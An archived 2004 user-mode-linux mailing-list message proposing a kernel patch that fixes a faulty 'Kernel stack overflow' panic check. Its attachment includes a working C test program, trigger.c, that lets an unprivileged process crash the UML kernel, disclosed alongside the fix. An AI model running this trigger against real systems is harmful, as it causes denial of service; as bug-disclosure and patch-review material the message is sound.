All of lore.kernel.org
 help / color / mirror / Atom feed
From: BlaisorBlade <blaisorblade_spam@yahoo.it>
To: "Alex Züpke" <azu@sysgo.de>, user-mode-linux-devel@lists.sourceforge.net
Subject: Re: [uml-devel] bad panic "Kernel stack overflow" - demo exploit
Date: Sat, 3 Jul 2004 20:25:52 +0200	[thread overview]
Message-ID: <200407032025.52944.blaisorblade_spam@yahoo.it> (raw)
In-Reply-To: <200407012133.16289.blaisorblade_spam@yahoo.it>

[-- Attachment #1: Type: text/plain, Size: 1851 bytes --]

Alle 21:33, giovedì 1 luglio 2004, BlaisorBlade ha scritto:
> Maybe you are right, and there should be some more fixes. But could you
> explain me if there is any valid reason for maybe_map to behave that way?
> It seems wrong to me, but I would wonder from it not causing bugs. But in
> fact is_user was not used by handle_page_fault, so we could just correct
> maybe_map(). Do you agree?
>
> However if you can build a test program, that could be useful (one which
> requires UML to dereference a pointer, so calling copy_*_user.) Maybe I'll
> write one myself.
>
> > Maybe Jeff remembers the intention of this panic,
> > because the whole
> >
> > 	if(page == (unsigned long) current + PAGE_SIZE)
> > 		panic("Kernel stack overflow");
> >
> > does not make any sense for me when checking user VMAs
>
> It's obvious that it does not make sense for user faults. In fact, that
> code is called both for user and for kernel faults; and the !is_user checks
> expresses exactly your sentence. If you mean that the check for a kernel
> stack overflow is wrong, you may be right.

> > On Linux 2.4.xx with 8k stacks, current+PAGE_SIZE is the upper
> > page of the kernel stack and always valid in kernel address space

Well, after replacing PAGE_SIZE with THREAD_SIZE, I remembered that the stack 
grows downward. I checked inside the fork() code (at copy_thread) that 
current (or current_thread in 2.6) is at the bottom of the stack, which goes 
down from (long) current + 2 * PAGE_SIZE to (long) current. So the overflow 
happens when address < current_thread (or address < current).

So, this is the attached patch I propose (the test program is included because 
I will not rebuild it afterwards, to send it to Jeff; I have tons of 
patches).
-- 
Paolo Giarrusso, aka Blaisorblade
Linux registered user n. 292729

[-- Attachment #2: check_is_user_before_panic.patch --]
[-- Type: text/x-diff, Size: 3937 bytes --]


From: Alex Züpke <azu@sysgo.de>, and me
SKAS mode is like 4G/4G (here we have actually 3G/3G) for guest processes,
so when checking for kernel stack overflow, we must first make sure
we are checking a kernel-space address.
Also, correctly test for stack overflows (i.e. check if there is less
than 1k of stack left; see arch/i386/kernel/irq.c:do_IRQ()).
And also, THREAD_SIZE != PAGE_SIZE * 2, in general (though
this setting is almost never changed, so we didn't notice this1).
Thanks to the good eye of Alex Züpke <azu@sysgo.de> for first seeing this bug,
and providing a test program:


/*
 * trigger.c - triggers panic("Kernel stack overflow") in UML
 *
 * 20040630, azu@sysgo.de
 */

#include <stdio.h>
#include <setjmp.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>

#define LOW  0xa0000000
#define HIGH 0xb0000000

int main(int argc, char **argv)
{
	unsigned long addr;
	int fd;

	fd = open("/dev/zero", O_RDWR);

	printf("This may take some time ... one more cup of coffee ...\n");

	for(addr = LOW; addr < HIGH; addr += 0x1000)
	{
		pid_t p;
		if(mmap((void*)addr, 0x1000, PROT_READ, MAP_SHARED | MAP_FIXED, fd, 0) == MAP_FAILED)
			printf("mmap failed\n");

		p = fork();
		if(p == -1)
			printf("fork failed\n");

		if(p == 0)
		{
			/* child context */
			int *p = (int *)addr;
			volatile int x;

			x = *p;
			return 0;
		}
		/* father context */
		waitpid(p, 0, 0);

		if(munmap((void*)addr, 0x1000) == -1)
			printf("munmap failed\n");
	}

	close(fd);
	printf("done\n");
}

Signed-off-by: Paolo 'Blaisorblade' Giarrusso <blaisorblade_spam@yahoo.it>
---

 uml-linux-2.6.7-paolo/arch/um/kernel/process_kern.c |    2 +-
 uml-linux-2.6.7-paolo/arch/um/kernel/skas/uaccess.c |    2 +-
 uml-linux-2.6.7-paolo/arch/um/kernel/trap_kern.c    |    2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff -puN arch/um/kernel/trap_kern.c~check_is_user_before_panic arch/um/kernel/trap_kern.c
--- uml-linux-2.6.7/arch/um/kernel/trap_kern.c~check_is_user_before_panic	2004-06-30 21:34:05.000000000 +0200
+++ uml-linux-2.6.7-paolo/arch/um/kernel/trap_kern.c	2004-07-03 17:53:23.637305256 +0200
@@ -54,7 +54,7 @@ int handle_page_fault(unsigned long addr
 	if(is_write && !(vma->vm_flags & VM_WRITE)) 
 		goto out;
 	page = address & PAGE_MASK;
-	if(page == (unsigned long) current_thread + PAGE_SIZE)
+	if(address < (unsigned long) current_thread + 1024 && !is_user)
 		panic("Kernel stack overflow");
 	pgd = pgd_offset(mm, page);
 	pmd = pmd_offset(pgd, page);
diff -puN arch/um/kernel/skas/uaccess.c~check_is_user_before_panic arch/um/kernel/skas/uaccess.c
--- uml-linux-2.6.7/arch/um/kernel/skas/uaccess.c~check_is_user_before_panic	2004-07-02 12:55:21.000000000 +0200
+++ uml-linux-2.6.7-paolo/arch/um/kernel/skas/uaccess.c	2004-07-02 13:01:11.000000000 +0200
@@ -25,7 +25,7 @@ static unsigned long maybe_map(unsigned 
 	int dummy_code;
 
 	if(IS_ERR(phys) || (is_write && !pte_write(pte))){
-		err = handle_page_fault(virt, 0, is_write, 0, &dummy_code);
+		err = handle_page_fault(virt, 0, is_write, 1, &dummy_code);
 		if(err)
 			return(0);
 		phys = um_virt_to_phys(current, virt, NULL);
diff -puN arch/um/kernel/process_kern.c~check_is_user_before_panic arch/um/kernel/process_kern.c
--- uml-linux-2.6.7/arch/um/kernel/process_kern.c~check_is_user_before_panic	2004-07-03 16:41:39.473637592 +0200
+++ uml-linux-2.6.7-paolo/arch/um/kernel/process_kern.c	2004-07-03 17:53:21.867574296 +0200
@@ -165,7 +165,7 @@ int copy_thread(int nr, unsigned long cl
 {
 	p->thread = (struct thread_struct) INIT_THREAD;
 	p->thread.kernel_stack = 
-		(unsigned long) p->thread_info + 2 * PAGE_SIZE;
+		(unsigned long) p->thread_info + THREAD_SIZE;
 	return(CHOOSE_MODE_PROC(copy_thread_tt, copy_thread_skas, nr, 
 				clone_flags, sp, stack_top, p, regs));
 }
_

  reply	other threads:[~2004-07-03 18:11 UTC|newest]

Thread overview: 11+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2004-06-28 11:39 [uml-devel] Patch for arch/um/kernel/trap_kern.c to fix bad panic azu
2004-06-29 18:34 ` BlaisorBlade
2004-06-30 10:04   ` [uml-devel] bad panic "Kernel stack overflow" - demo exploit azu
2004-07-01 12:01     ` BlaisorBlade
2004-07-01 13:34     ` BlaisorBlade
2004-07-01 17:57       ` Alex Züpke
2004-07-01 19:33         ` BlaisorBlade
2004-07-03 18:25           ` BlaisorBlade [this message]
2004-08-17 15:40             ` BlaisorBlade
2004-08-20 15:09               ` Jeff Dike
2004-09-05 16:41                 ` BlaisorBlade

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=200407032025.52944.blaisorblade_spam@yahoo.it \
    --to=blaisorblade_spam@yahoo.it \
    --cc=azu@sysgo.de \
    --cc=user-mode-linux-devel@lists.sourceforge.net \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.